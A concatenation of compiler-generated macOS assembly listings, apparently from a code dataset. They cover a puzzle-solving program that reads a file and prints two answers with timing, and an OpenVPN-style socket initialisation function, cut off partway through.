%r12, -48 .cfi_offset %r13, -40 .cfi_offset %r14, -32 .cfi_offset %r15, -24 cmpl $2, %edi jne LBB5_1 ## %bb.3: movq %rsi, %rbx leaq -72(%rbp), %rdi xorl %esi, %esi callq _gettimeofday movq 8(%rbx), %rdi callq _getInput movq %rax, %r14 movq %rdx, %r13 movq %rax, %rdi movq %rdx, %rsi callq _solve movl %eax, %r15d movq %rdx, %r12 leaq -56(%rbp), %rdi xorl %esi, %esi callq _gettimeofday leaq L_.str.3(%rip), %rdi movl %r15d, %esi xorl %eax, %eax callq _printf leaq L_.str.4(%rip), %rdi movq %r12, %rsi xorl %eax, %eax callq _printf movq -56(%rbp), %rax subq -72(%rbp), %rax imulq $1000000, %rax, %rax ## imm = 0xF4240 movslq -48(%rbp), %rcx addq %rax, %rcx movslq -64(%rbp), %rax subq %rax, %rcx cvtsi2sd %rcx, %xmm0 divsd LCPI5_0(%rip), %xmm0 leaq L_.str.5(%rip), %rdi movb $1, %al callq _printf testq %r13, %r13 je LBB5_6 ## %bb.4: xorl %ebx, %ebx .p2align 4, 0x90 LBB5_5: ## =>This Inner Loop Header: Depth=1 movq (%r14,%rbx,8), %rdi incq %rbx callq _free cmpq %rbx, %r13 jne LBB5_5 LBB5_6: movq %r14, %rdi callq _free LBB5_2: xorl %eax, %eax addq $40, %rsp popq %rbx popq %r12 popq %r13 popq %r14 popq %r15 popq %rbp retq LBB5_1: callq _main.cold.1 jmp LBB5_2 .cfi_endproc ## -- End function .p2align 4, 0x90 ## -- Begin function getInput.cold.1 _getInput.cold.1: ## @getInput.cold.1 .cfi_startproc ## %bb.0: pushq %rbp .cfi_def_cfa_offset 16 .cfi_offset %rbp, -16 movq %rsp, %rbp .cfi_def_cfa_register %rbp leaq L_.str.1(%rip), %rdi callq _perror pushq $1 popq %rdi callq _exit .cfi_endproc ## -- End function .p2align 4, 0x90 ## -- Begin function main.cold.1 _main.cold.1: ## @main.cold.1 .cfi_startproc ## %bb.0: pushq %rbp .cfi_def_cfa_offset 16 .cfi_offset %rbp, -16 movq %rsp, %rbp .cfi_def_cfa_register %rbp leaq L_.str.2(%rip), %rdi callq _perror pushq $1 popq %rdi callq _exit .cfi_endproc ## -- End function .section __TEXT,__cstring,cstring_literals L_.str: ## @.str .asciz "r" L_.str.1: ## @.str.1 .asciz "Error reading input file!\n" L_.str.2: ## @.str.2 .asciz "Please, add input file path as parameter" L_.str.3: ## @.str.3 .asciz "P1: %d\n" L_.str.4: ## @.str.4 .asciz "P2: %s\n\n" L_.str.5: ## @.str.5 .asciz "Time: %.7f\n" .subsections_via_symbols

.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .globl _part1 ; -- Begin function part1 .p2align 2 _part1: ; @part1 .cfi_startproc ; %bb.0: sub sp, sp, #144 .cfi_def_cfa_offset 144 stp x29, x30, [sp, #128] ; 16-byte Folded Spill add x29, sp, #128 .cfi_def_cfa w29, 16 .cfi_offset w30, -8 .cfi_offset w29, -16 Lloh0: adrp x8, ___stack_chk_guard@GOTPAGE Lloh1: ldr x8, [x8, ___stack_chk_guard@GOTPAGEOFF] Lloh2: ldr x8, [x8] stur x8, [x29, #-8] cbz x1, LBB0_7 ; %bb.1: mov x10, #0 mov w8, #0 mov w9, #0 movi.2d v0, #0000000000000000 movi.4s v1, #3 movi.4s v2, #2 add x11, sp, #16 b LBB0_3 LBB0_2: ; in Loop: Header=BB0_3 Depth=1 ldp q3, q4, [sp, #16] cmeq.4s v5, v3, v1 cmeq.4s v6, v4, v1 orr.16b v5, v5, v6 ldp q6, q7, [sp, #48] cmeq.4s v16, v6, v1 orr.16b v5, v5, v16 cmeq.4s v16, v7, v1 orr.16b v5, v5, v16 ldp q16, q17, [sp, #80] cmeq.4s v18, v16, v1 orr.16b v5, v5, v18 cmeq.4s v18, v17, v1 orr.16b v5, v5, v18 xtn.4h v5, v5 umov.h w12, v5[0] umov.h w13, v5[1] and w13, w13, #0x1 umov.h w14, v5[2] bfi w12, w13, #1, #1 and w13, w14, #0x1 bfi w12, w13, #2, #1 umov.h w13, v5[3] bfi w12, w13, #3, #29 cmeq.4s v3, v3, v2 cmeq.4s v4, v4, v2 orr.16b v3, v3, v4 cmeq.4s v4, v6, v2 orr.16b v3, v3, v4 cmeq.4s v4, v7, v2 orr.16b v3, v3, v4 cmeq.4s v4, v16, v2 orr.16b v3, v3, v4 cmeq.4s v4, v17, v2 orr.16b v3, v3, v4 xtn.4h v3, v3 umov.h w13, v3[0] umov.h w14, v3[1] and w14, w14, #0x1 bfi w13, w14, #1, #1 umov.h w14, v3[2] and w14, w14, #0x1 bfi w13, w14, #2, #1 umov.h w14, v3[3] bfi w13, w14, #3, #29 tst w13, #0xf ldp w13, w14, [sp, #112] ccmp w13, #2, #4, eq ccmp w14, #2, #4, ne cinc w8, w8, eq tst w12, #0xf ccmp w13, #3, #4, eq ccmp w14, #3, #4, ne cinc w9, w9, eq add x10, x10, #1 cbz x1, LBB0_6 LBB0_3: ; =>This Loop Header: Depth=1 ; Child Loop BB0_5 Depth 2 ldr x12, [x0, x10, lsl #3] stp q0, q0, [sp, #16] stp q0, q0, [sp, #48] stp q0, q0, [sp, #80] str xzr, [sp, #112] sub x1, x1, #1 ldrb w13, [x12] cbz w13, LBB0_2 ; %bb.4: ; in Loop: Header=BB0_3 Depth=1 add x12, x12, #1 LBB0_5: ; Parent Loop BB0_3 Depth=1 ; => This Inner Loop Header: Depth=2 add x13, x11, w13, sxtb #2 sub x13, x13, #388 ldr w14, [x13] add w14, w14, #1 str w14, [x13] ldrb w13, [x12], #1 cbnz w13, LBB0_5 b LBB0_2 LBB0_6: mul w0, w8, w9 b LBB0_8 LBB0_7: mov w0, #0 LBB0_8: ldur x8, [x29, #-8] Lloh3: adrp x9, ___stack_chk_guard@GOTPAGE Lloh4: ldr x9, [x9, ___stack_chk_guard@GOTPAGEOFF] Lloh5: ldr x9, [x9] cmp x9, x8 b.ne LBB0_10 ; %bb.9: ldp x29, x30, [sp, #128] ; 16-byte Folded Reload add sp, sp, #144 ret LBB0_10: bl ___stack_chk_fail .loh AdrpLdrGotLdr Lloh0, Lloh1, Lloh2 .loh AdrpLdrGotLdr Lloh3, Lloh4, Lloh5 .cfi_endproc ; -- End function .globl _part2 ; -- Begin function part2 .p2align 2 _part2: ; @part2 .cfi_startproc ; %bb.0: stp x24, x23, [sp, #-64]! ; 16-byte Folded Spill .cfi_def_cfa_offset 64 stp x22, x21, [sp, #16] ; 16-byte Folded Spill stp x20, x19, [sp, #32] ; 16-byte Folded Spill stp x29, x30, [sp, #48] ; 16-byte Folded Spill add x29, sp, #48 .cfi_def_cfa w29, 16 .cfi_offset w30, -8 .cfi_offset w29, -16 .cfi_offset w19, -24 .cfi_offset w20, -32 .cfi_offset w21, -40 .cfi_offset w22, -48 .cfi_offset w23, -56 .cfi_offset w24, -64 cbz x1, LBB1_11 ; %bb.1: mov x19, x1 mov x20, x0 mov x8, #0 mov w22, #1 b LBB1_3 LBB1_2: ; in Loop: Header=BB1_3 Depth=1 add x22, x22, #1 mov x8, x23 cmp x23, x19 b.eq LBB1_11 LBB1_3: ; =>This Loop Header: Depth=1 ; Child Loop BB1_6 Depth 2 ; Child Loop BB1_8 Depth 3 add x23, x8, #1 cmp x19, x23 b.ls LBB1_2 ; %bb.4: ; in Loop: Header=BB1_3 Depth=1 ldr x21, [x20, x8, lsl #3] mov x0, x21 bl _strlen mov x8, x22 b LBB1_6 LBB1_5: ; in Loop: Header=BB1_6 Depth=2 add x8, x8, #1 cmp x19, x8 b.ls LBB1_2 LBB1_6: ; Parent Loop BB1_3 Depth=1 ; => This Loop Header: Depth=2 ; Child Loop BB1_8 Depth 3 cbz x0, LBB1_5 ; %bb.7: ; in Loop: Header=BB1_6 Depth=2 mov x12, #0 mov w10, #0 mov w11, #0 ldr x9, [x20, x8, lsl #3] LBB1_8: ; Parent Loop BB1_3 Depth=1 ; Parent Loop BB1_6 Depth=2 ; => This Inner Loop Header: Depth=3 ldrb w13, [x21, x12] ldrb w14, [x9, x12] cmp w13, w14 csel w10, w10, w12, eq cinc w11, w11, ne add x12, x12, #1 cmp x0, x12 b.ne LBB1_8 ; %bb.9: ; in Loop: Header=BB1_6 Depth=2 cmp w11, #1 b.ne LBB1_5 ; %bb.10: sxtw x8, w10 strb wzr, [x21, x8] add x8, x8, x9 add x1, x8, #1 mov x0, x21 bl _strcat b LBB1_12 LBB1_11: mov x21, #0 LBB1_12: mov x0, x21 ldp x29, x30, [sp, #48] ; 16-byte Folded Reload ldp x20, x19, [sp, #32] ; 16-byte Folded Reload ldp x22, x21, [sp, #16] ; 16-byte Folded Reload ldp x24, x23, [sp], #64 ; 16-byte Folded Reload ret .cfi_endproc ; -- End function .globl _solve ; -- Begin function solve .p2align 2 _solve: ; @solve .cfi_startproc ; %bb.0: sub sp, sp, #192 .cfi_def_cfa_offset 192 stp x24, x23, [sp, #128] ; 16-byte Folded Spill stp x22, x21, [sp, #144] ; 16-byte Folded Spill stp x20, x19, [sp, #160] ; 16-byte Folded Spill stp x29, x30, [sp, #176] ; 16-byte Folded Spill add x29, sp, #176 .cfi_def_cfa w29, 16 .cfi_offset w30, -8 .cfi_offset w29, -16 .cfi_offset w19, -24 .cfi_offset w20, -32 .cfi_offset w21, -40 .cfi_offset w22, -48 .cfi_offset w23, -56 .cfi_offset w24, -64 Lloh6: adrp x8, ___stack_chk_guard@GOTPAGE Lloh7: ldr x8, [x8, ___stack_chk_guard@GOTPAGEOFF] Lloh8: ldr x8, [x8] stur x8, [x29, #-56] cbz x1, LBB2_16 ; %bb.1: mov x19, x1 mov x20, x0 mov x10, #0 mov w8, #0 mov w9, #0 movi.2d v0, #0000000000000000 movi.4s v1, #3 movi.4s v2, #2 add x11, sp, #16 mov x12, x1 b LBB2_3 LBB2_2: ; in Loop: Header=BB2_3 Depth=1 ldp q3, q4, [sp, #16] cmeq.4s v5, v3, v1 cmeq.4s v6, v4, v1 orr.16b v5, v5, v6 ldp q6, q7, [sp, #48] cmeq.4s v16, v6, v1 orr.16b v5, v5, v16 cmeq.4s v16, v7, v1 orr.16b v5, v5, v16 ldp q16, q17, [sp, #80] cmeq.4s v18, v16, v1 orr.16b v5, v5, v18 cmeq.4s v18, v17, v1 orr.16b v5, v5, v18 xtn.4h v5, v5 umov.h w13, v5[0] umov.h w14, v5[1] and w14, w14, #0x1 umov.h w15, v5[2] bfi w13, w14, #1, #1 and w14, w15, #0x1 bfi w13, w14, #2, #1 umov.h w14, v5[3] bfi w13, w14, #3, #29 cmeq.4s v3, v3, v2 cmeq.4s v4, v4, v2 orr.16b v3, v3, v4 cmeq.4s v4, v6, v2 orr.16b v3, v3, v4 cmeq.4s v4, v7, v2 orr.16b v3, v3, v4 cmeq.4s v4, v16, v2 orr.16b v3, v3, v4 cmeq.4s v4, v17, v2 orr.16b v3, v3, v4 xtn.4h v3, v3 umov.h w14, v3[0] umov.h w15, v3[1] and w15, w15, #0x1 bfi w14, w15, #1, #1 umov.h w15, v3[2] and w15, w15, #0x1 bfi w14, w15, #2, #1 umov.h w15, v3[3] bfi w14, w15, #3, #29 tst w14, #0xf ldp w14, w15, [sp, #112] ccmp w14, #2, #4, eq ccmp w15, #2, #4, ne cinc w8, w8, eq tst w13, #0xf ccmp w14, #3, #4, eq ccmp w15, #3, #4, ne cinc w9, w9, eq add x10, x10, #1 cbz x12, LBB2_6 LBB2_3: ; =>This Loop Header: Depth=1 ; Child Loop BB2_5 Depth 2 ldr x13, [x20, x10, lsl #3] stp q0, q0, [sp, #16] stp q0, q0, [sp, #48] stp q0, q0, [sp, #80] str xzr, [sp, #112] sub x12, x12, #1 ldrb w14, [x13] cbz w14, LBB2_2 ; %bb.4: ; in Loop: Header=BB2_3 Depth=1 add x13, x13, #1 LBB2_5: ; Parent Loop BB2_3 Depth=1 ; => This Inner Loop Header: Depth=2 add x14, x11, w14, sxtb #2 sub x14, x14, #388 ldr w15, [x14] add w15, w15, #1 str w15, [x14] ldrb w14, [x13], #1 cbnz w14, LBB2_5 b LBB2_2 LBB2_6: mov x10, #0 mul w22, w8, w9 mov w23, #1 b LBB2_8 LBB2_7: ; in Loop: Header=BB2_8 Depth=1 add x23, x23, #1 mov x10, x24 cmp x24, x19 b.eq LBB2_17 LBB2_8: ; =>This Loop Header: Depth=1 ; Child Loop BB2_11 Depth 2 ; Child Loop BB2_13 Depth 3 add x24, x10, #1 cmp x19, x24 b.ls LBB2_7 ; %bb.9: ; in Loop: Header=BB2_8 Depth=1 ldr x21, [x20, x10, lsl #3] mov x0, x21 bl _strlen mov x8, x23 b LBB2_11 LBB2_10: ; in Loop: Header=BB2_11 Depth=2 add x8, x8, #1 cmp x8, x19 b.eq LBB2_7 LBB2_11: ; Parent Loop BB2_8 Depth=1 ; => This Loop Header: Depth=2 ; Child Loop BB2_13 Depth 3 cbz x0, LBB2_10 ; %bb.12: ; in Loop: Header=BB2_11 Depth=2 mov x12, #0 mov w10, #0 mov w11, #0 ldr x9, [x20, x8, lsl #3] LBB2_13: ; Parent Loop BB2_8 Depth=1 ; Parent Loop BB2_11 Depth=2 ; => This Inner Loop Header: Depth=3 ldrb w13, [x21, x12] ldrb w14, [x9, x12] cmp w13, w14 csel w10, w10, w12, eq cinc w11, w11, ne add x12, x12, #1 cmp x0, x12 b.ne LBB2_13 ; %bb.14: ; in Loop: Header=BB2_11 Depth=2 cmp w11, #1 b.ne LBB2_10 ; %bb.15: sxtw x8, w10 strb wzr, [x21, x8] add x8, x8, x9 add x1, x8, #1 mov x0, x21 bl _strcat b LBB2_18 LBB2_16: mov w22, #0 LBB2_17: mov x21, #0 LBB2_18: ldur x8, [x29, #-56] Lloh9: adrp x9, ___stack_chk_guard@GOTPAGE Lloh10: ldr x9, [x9, ___stack_chk_guard@GOTPAGEOFF] Lloh11: ldr x9, [x9] cmp x9, x8 b.ne LBB2_20 ; %bb.19: mov w0, w22 mov x1, x21 ldp x29, x30, [sp, #176] ; 16-byte Folded Reload ldp x20, x19, [sp, #160] ; 16-byte Folded Reload ldp x22, x21, [sp, #144] ; 16-byte Folded Reload ldp x24, x23, [sp, #128] ; 16-byte Folded Reload add sp, sp, #192 ret LBB2_20: bl ___stack_chk_fail .loh AdrpLdrGotLdr Lloh6, Lloh7, Lloh8 .loh AdrpLdrGotLdr Lloh9, Lloh10, Lloh11 .cfi_endproc ; -- End function .globl _getInput ; -- Begin function getInput .p2align 2 _getInput: ; @getInput .cfi_startproc ; %bb.0: sub sp, sp, #80 .cfi_def_cfa_offset 80 stp x24, x23, [sp, #16] ; 16-byte Folded Spill stp x22, x21, [sp, #32] ; 16-byte Folded Spill stp x20, x19, [sp, #48] ; 16-byte Folded Spill stp x29, x30, [sp, #64] ; 16-byte Folded Spill add x29, sp, #64 .cfi_def_cfa w29, 16 .cfi_offset w30, -8 .cfi_offset w29, -16 .cfi_offset w19, -24 .cfi_offset w20, -32 .cfi_offset w21, -40 .cfi_offset w22, -48 .cfi_offset w23, -56 .cfi_offset w24, -64 Lloh12: adrp x1, l_.str@PAGE Lloh13: add x1, x1, l_.str@PAGEOFF bl _fopen cbz x0, LBB3_6 ; %bb.1: mov x19, x0 mov w0, #256 mov w1, #8 bl _calloc mov x20, x0 stp xzr, xzr, [sp] add x0, sp, #8 mov x1, sp mov x2, x19 bl _getline cmn x0, #1 b.eq LBB3_4 ; %bb.2: mov x21, #0 LBB3_3: ; =>This Inner Loop Header: Depth=1 ldr x22, [sp, #8] mov x0, x22 bl _strlen add x0, x0, #1 bl _malloc mov x23, x0 str x0, [x20, x21, lsl #3] mov x1, x22 bl _strcpy ldr x0, [sp, #8] bl _strlen add x8, x0, x23 sturb wzr, [x8, #-1] add x21, x21, #1 add x0, sp, #8 mov x1, sp mov x2, x19 bl _getline cmn x0, #1 b.ne LBB3_3 b LBB3_5 LBB3_4: mov x21, #0 LBB3_5: mov x0, x19 bl _fclose mov x0, x20 mov x1, x21 ldp x29, x30, [sp, #64] ; 16-byte Folded Reload ldp x20, x19, [sp, #48] ; 16-byte Folded Reload ldp x22, x21, [sp, #32] ; 16-byte Folded Reload ldp x24, x23, [sp, #16] ; 16-byte Folded Reload add sp, sp, #80 ret LBB3_6: bl _getInput.cold.1 .loh AdrpAdd Lloh12, Lloh13 .cfi_endproc ; -- End function .globl _freeInput ; -- Begin function freeInput .p2align 2 _freeInput: ; @freeInput .cfi_startproc ; %bb.0: stp x22, x21, [sp, #-48]! ; 16-byte Folded Spill .cfi_def_cfa_offset 48 stp x20, x19, [sp, #16] ; 16-byte Folded Spill stp x29, x30, [sp, #32] ; 16-byte Folded Spill add x29, sp, #32 .cfi_def_cfa w29, 16 .cfi_offset w30, -8 .cfi_offset w29, -16 .cfi_offset w19, -24 .cfi_offset w20, -32 .cfi_offset w21, -40 .cfi_offset w22, -48 mov x19, x0 cbz x1, LBB4_3 ; %bb.1: mov x20, x1 mov x21, x19 LBB4_2: ; =>This Inner Loop Header: Depth=1 sub x20, x20, #1 ldr x0, [x21], #8 bl _free cbnz x20, LBB4_2 LBB4_3: mov x0, x19 ldp x29, x30, [sp, #32] ; 16-byte Folded Reload ldp x20, x19, [sp, #16] ; 16-byte Folded Reload ldp x22, x21, [sp], #48 ; 16-byte Folded Reload b _free .cfi_endproc ; -- End function .globl _main ; -- Begin function main .p2align 2 _main: ; @main .cfi_startproc ; %bb.0: sub sp, sp, #96 .cfi_def_cfa_offset 96 stp x22, x21, [sp, #48] ; 16-byte Folded Spill stp x20, x19, [sp, #64] ; 16-byte Folded Spill stp x29, x30, [sp, #80] ; 16-byte Folded Spill add x29, sp, #80 .cfi_def_cfa w29, 16 .cfi_offset w30, -8 .cfi_offset w29, -16 .cfi_offset w19, -24 .cfi_offset w20, -32 .cfi_offset w21, -40 .cfi_offset w22, -48 cmp w0, #2 b.ne LBB5_5 ; %bb.1: mov x19, x1 add x0, sp, #32 mov x1, #0 bl _gettimeofday ldr x0, [x19, #8] bl _getInput mov x19, x0 mov x20, x1 bl _solve mov x21, x0 mov x22, x1 add x0, sp, #16 mov x1, #0 bl _gettimeofday str x21, [sp] Lloh14: adrp x0, l_.str.3@PAGE Lloh15: add x0, x0, l_.str.3@PAGEOFF bl _printf str x22, [sp] Lloh16: adrp x0, l_.str.4@PAGE Lloh17: add x0, x0, l_.str.4@PAGEOFF bl _printf ldr x8, [sp, #16] ldr x9, [sp, #32] sub x8, x8, x9 mov w9, #16960 movk w9, #15, lsl #16 ldrsw x10, [sp, #24] madd x8, x8, x9, x10 ldrsw x9, [sp, #40] sub x8, x8, x9 scvtf d0, x8 mov x8, #145685290680320 movk x8, #16686, lsl #48 fmov d1, x8 fdiv d0, d0, d1 str d0, [sp] Lloh18: adrp x0, l_.str.5@PAGE Lloh19: add x0, x0, l_.str.5@PAGEOFF bl _printf cbz x20, LBB5_4 ; %bb.2: mov x21, x19 LBB5_3: ; =>This Inner Loop Header: Depth=1 sub x20, x20, #1 ldr x0, [x21], #8 bl _free cbnz x20, LBB5_3 LBB5_4: mov x0, x19 bl _free mov w0, #0 ldp x29, x30, [sp, #80] ; 16-byte Folded Reload ldp x20, x19, [sp, #64] ; 16-byte Folded Reload ldp x22, x21, [sp, #48] ; 16-byte Folded Reload add sp, sp, #96 ret LBB5_5: bl _main.cold.1 .loh AdrpAdd Lloh18, Lloh19 .loh AdrpAdd Lloh16, Lloh17 .loh AdrpAdd Lloh14, Lloh15 .cfi_endproc ; -- End function .p2align 2 ; -- Begin function getInput.cold.1 _getInput.cold.1: ; @getInput.cold.1 .cfi_startproc ; %bb.0: stp x29, x30, [sp, #-16]! ; 16-byte Folded Spill .cfi_def_cfa_offset 16 mov x29, sp .cfi_def_cfa w29, 16 .cfi_offset w30, -8 .cfi_offset w29, -16 Lloh20: adrp x0, l_.str.1@PAGE Lloh21: add x0, x0, l_.str.1@PAGEOFF bl _perror mov w0, #1 bl _exit .loh AdrpAdd Lloh20, Lloh21 .cfi_endproc ; -- End function .p2align 2 ; -- Begin function main.cold.1 _main.cold.1: ; @main.cold.1 .cfi_startproc ; %bb.0: stp x29, x30, [sp, #-16]! ; 16-byte Folded Spill .cfi_def_cfa_offset 16 mov x29, sp .cfi_def_cfa w29, 16 .cfi_offset w30, -8 .cfi_offset w29, -16 Lloh22: adrp x0, l_.str.2@PAGE Lloh23: add x0, x0, l_.str.2@PAGEOFF bl _perror mov w0, #1 bl _exit .loh AdrpAdd Lloh22, Lloh23 .cfi_endproc ; -- End function .section __TEXT,__cstring,cstring_literals l_.str: ; @.str .asciz "r" l_.str.1: ; @.str.1 .asciz "Error reading input file!\n" l_.str.2: ; @.str.2 .asciz "Please, add input file path as parameter" l_.str.3: ; @.str.3 .asciz "P1: %d\n" l_.str.4: ; @.str.4 .asciz "P2: %s\n\n" l_.str.5: ; @.str.5 .asciz "Time: %.7f\n" .subsections_via_symbols

the_stack_data/187643732.c

stack

.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .globl _link_socket_init_phase2 ## -- Begin function link_socket_init_phase2 .p2align 4, 0x90 _link_socket_init_phase2: ## @link_socket_init_phase2 .cfi_startproc ## %bb.0: pushq %rbp .cfi_def_cfa_offset 16 .cfi_offset %rbp, -16 movq %rsp, %rbp .cfi_def_cfa_register %rbp pushq %r15 pushq %r14 pushq %r13 pushq %r12 pushq %rbx pushq %rax .cfi_offset %rbx, -56 .cfi_offset %r12, -48 .cfi_offset %r13, -40 .cfi_offset %r14, -32 .cfi_offset %r15, -24 movq %rdx, %r14 movq %rsi, %rbx movq %rdi, %r15 movq $0, -48(%rbp) callq _ASSERT movq %r14, %rdi callq _ASSERT movl (%r14), %r12d testl %r12d, %r12d je LBB0_2 ## %bb.1: movl $0, (%r14) LBB0_2: movq %rbx, %rdi movq %r15, %rsi callq _socket_frame_init cmpq $0, 72(%r15) je LBB0_3 ## %bb.4: movq 8(%r15), %rdx movq %rdx, -48(%rbp) cmpq $0, 64(%r15) je LBB0_7 LBB0_6: movq %r15, %rdi movq %rbx, %rsi movq %r14, %rcx callq _phase2_inetd LBB0_26: cmpl $0, (%r14) jne LBB0_28 ## %bb.27: movq %r15, %rdi callq _phase2_set_socket_flags movq %r15, %rdi callq _linksock_print_addr jmp LBB0_28 LBB0_3: xorl %edx, %edx cmpq $0, 64(%r15) jne LBB0_6 LBB0_7: leaq -48(%rbp), %rdx movq %r15, %rdi movl $2, %esi movq %r14, %rcx callq _resolve_remote movq 40(%r15), %rax movq 16(%rax), %rsi testq %rsi, %rsi je LBB0_9 ## %bb.8: movq %r15, %rdi callq _create_socket LBB0_9: movl 16(%r15), %eax movq _SOCKET_UNDEFINED@GOTPCREL(%rip), %rbx movl (%rbx), %ecx cmpl %ecx, %eax jne LBB0_16 ## %bb.10: cmpq $0, 56(%r15) je LBB0_17 ## %bb.11: cmpq $0, 8(%r15) jne LBB0_17 ## %bb.12: movq 40(%r15), %rax movq 8(%rax), %rsi testq %rsi, %rsi je LBB0_17 ## %bb.13: movq 24(%r15), %rax movq _AF_UNSPEC@GOTPCREL(%rip), %rcx cmpq (%rcx), %rax jne LBB0_15 ## %bb.14: movq _M_WARN@GOTPCREL(%rip), %rax movl (%rax), %r13d movq (%rsi), %rdi callq _addr_family_name leaq L_.str(%rip), %rsi movl %r13d, %edi movl %eax, %edx xorl %eax, %eax callq _msg movq 40(%r15), %rax movq 8(%rax), %rsi movq (%rsi), %rax movq %rax, 24(%r15) LBB0_15: movq %r15, %rdi callq _create_socket movl 16(%r15), %eax movl (%rbx), %ecx LBB0_16: cmpl %ecx, %eax jne LBB0_18 LBB0_17: movq _M_WARN@GOTPCREL(%rip), %rax movl (%rax), %edi leaq L_.str.1(%rip), %rsi xorl %eax, %eax callq _msg movq _SIGUSR1@GOTPCREL(%rip), %rax movl (%rax), %eax movl %eax, (%r14) jmp LBB0_28 LBB0_18: cmpl $0, (%r14) je LBB0_19 LBB0_28: testl %r12d, %r12d je LBB0_31 ## %bb.29: cmpl $0, (%r14) jne LBB0_31 ## %bb.30: movl %r12d, (%r14) LBB0_31: addq $8, %rsp popq %rbx popq %r12 popq %r13 popq %r14 popq %r15 popq %rbp retq LBB0_19: movq 32(%r15), %rax movq _PROTO_TCP_SERVER@GOTPCREL(%rip), %rcx cmpq (%rcx), %rax jne LBB0_21 ## %bb.20: movq -48(%rbp), %rsi movq %r15, %rdi movq %r14, %rdx callq _phase2_tcp_server jmp LBB0_26 LBB0_21: movq _PROTO_TCP_CLIENT@GOTPCREL(%rip), %rcx cmpq (%rcx), %rax jne LBB0_23 ## %bb.22: movq %r15, %rdi movq %r14, %rsi callq _phase2_tcp_client jmp LBB0_26 LBB0_23: movq _PROTO_UDP@GOTPCREL(%rip), %rcx cmpq (%rcx), %rax jne LBB0_26 ## %bb.24: cmpq $0, 48(%r15) je LBB0_26 ## %bb.25: movq %r15, %rdi movq %r14, %rsi callq _phase2_socks_client jmp LBB0_26 .cfi_endproc ## -- End function .comm _SOCKET_UNDEFINED,4,2 ## @SOCKET_UNDEFINED .comm _AF_UNSPEC,8,3 ## @AF_UNSPEC .comm _M_WARN,4,2 ## @M_WARN .section __TEXT,__cstring,cstring_literals L_.str: ## @.str .asciz "Could not determine IPv4/IPv6 protocol. Using %s" L_.str.1: ## @.str.1 .asciz "Could not determine IPv4/IPv6 protocol" .comm _SIGUSR1,4,2 ## @SIGUSR1 .comm _PROTO_TCP_SERVER,8,3 ## @PROTO_TCP_SERVER .comm _PROTO_TCP_CLIENT,8,3 ## @PROTO_TCP_CLIENT .comm _PROTO_UDP,8,3 ## @PROTO_UDP .subsections_via_symbols

.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .globl _link_socket_init_phase2 ; -- Begin function link_socket_init_phase2 .p2align 2 _link_socket_init_phase2: ; @link_socket_init_phase2 .cfi_startproc ; %bb.0: sub sp, sp, #80 .cfi_def_cfa_offset 80 stp x24, x23, [sp, #16] ; 16-byte Folded Spill stp x22, x21, [sp, #32] ; 16-byte Folded Spill stp x20, x19, [sp, #48] ; 16-byte Folded Spill stp x29, x30, [sp, #64] ; 16-byte Folded Spill add x29, sp, #64 .cfi_def_cfa w29, 16 .cfi_offset w30, -8 .cfi_offset w29, -16 .cfi_offset w19, -24 .cfi_offset w20, -32 .cfi_offset w21, -40 .cfi_offset w22, -48 .cfi_offset w23, -56 .cfi_offset w24, -64 mov x19, x2 mov x21, x1 mov x20, x0 str xzr, [sp, #8] bl _ASSERT mov x0, x19 bl _ASSERT ldr w22, [x19] cbz w22, LBB0_2 ; %bb.1: str wzr, [x19] LBB0_2: mov x0, x21 mov x1, x20 bl _socket_frame_init ldr x8, [x20, #72] cbz x8, LBB0_7 ; %bb.3: ldr x2, [x20, #8] str x2, [sp, #8] ldr x8, [x20, #64] cbz x8, LBB0_8 LBB0_4: mov x0, x20 mov x1, x21 mov x3, x19 bl _phase2_inetd LBB0_5: ldr w8, [x19] cbnz w8, LBB0_20 ; %bb.6: mov x0, x20 bl _phase2_set_socket_flags mov x0, x20 bl _linksock_print_addr b LBB0_20 LBB0_7: mov x2, #0 ldr x8, [x20, #64] cbnz x8, LBB0_4 LBB0_8: add x2, sp, #8 mov x0, x20 mov w1, #2 mov x3, x19 bl _resolve_remote ldr x8, [x20, #40] ldr x1, [x8, #16] cbz x1, LBB0_10 ; %bb.9: mov x0, x20 bl _create_socket LBB0_10: ldr w8, [x20, #16] Lloh0: adrp x23, _SOCKET_UNDEFINED@GOTPAGE Lloh1: ldr x23, [x23, _SOCKET_UNDEFINED@GOTPAGEOFF] ldr w9, [x23] cmp w8, w9 b.ne LBB0_17 ; %bb.11: ldr x8, [x20, #56] cbz x8, LBB0_18 ; %bb.12: ldr x8, [x20, #8] cbnz x8, LBB0_18 ; %bb.13: ldr x8, [x20, #40] ldr x1, [x8, #8] cbz x1, LBB0_18 ; %bb.14: ldr x8, [x20, #24] Lloh2: adrp x9, _AF_UNSPEC@GOTPAGE Lloh3: ldr x9, [x9, _AF_UNSPEC@GOTPAGEOFF] Lloh4: ldr x9, [x9] cmp x8, x9 b.ne LBB0_16 ; %bb.15: Lloh5: adrp x8, _M_WARN@GOTPAGE Lloh6: ldr x8, [x8, _M_WARN@GOTPAGEOFF] Lloh7: ldr w21, [x8] ldr x0, [x1] bl _addr_family_name ; kill: def $w0 killed $w0 def $x0 str x0, [sp] Lloh8: adrp x1, l_.str@PAGE Lloh9: add x1, x1, l_.str@PAGEOFF mov x0, x21 bl _msg ldr x8, [x20, #40] ldr x1, [x8, #8] ldr x8, [x1] str x8, [x20, #24] LBB0_16: mov x0, x20 bl _create_socket ldr w8, [x20, #16] ldr w9, [x23] LBB0_17: cmp w8, w9 b.ne LBB0_19 LBB0_18: Lloh10: adrp x8, _M_WARN@GOTPAGE Lloh11: ldr x8, [x8, _M_WARN@GOTPAGEOFF] Lloh12: ldr w0, [x8] Lloh13: adrp x1, l_.str.1@PAGE Lloh14: add x1, x1, l_.str.1@PAGEOFF bl _msg Lloh15: adrp x8, _SIGUSR1@GOTPAGE Lloh16: ldr x8, [x8, _SIGUSR1@GOTPAGEOFF] Lloh17: ldr w8, [x8] str w8, [x19] b LBB0_20 LBB0_19: ldr w8, [x19] cbz w8, LBB0_24 LBB0_20: cbz w22, LBB0_23 ; %bb.21: ldr w8, [x19] cbnz w8, LBB0_23 ; %bb.22: str w22, [x19] LBB0_23: ldp x29, x30, [sp, #64] ; 16-byte Folded Reload ldp x20, x19, [sp, #48] ; 16-byte Folded Reload ldp x22, x21, [sp, #32] ; 16-byte Folded Reload ldp x24, x23, [sp, #16] ; 16-byte Folded Reload add sp, sp, #80 ret LBB0_24: ldr x8, [x20, 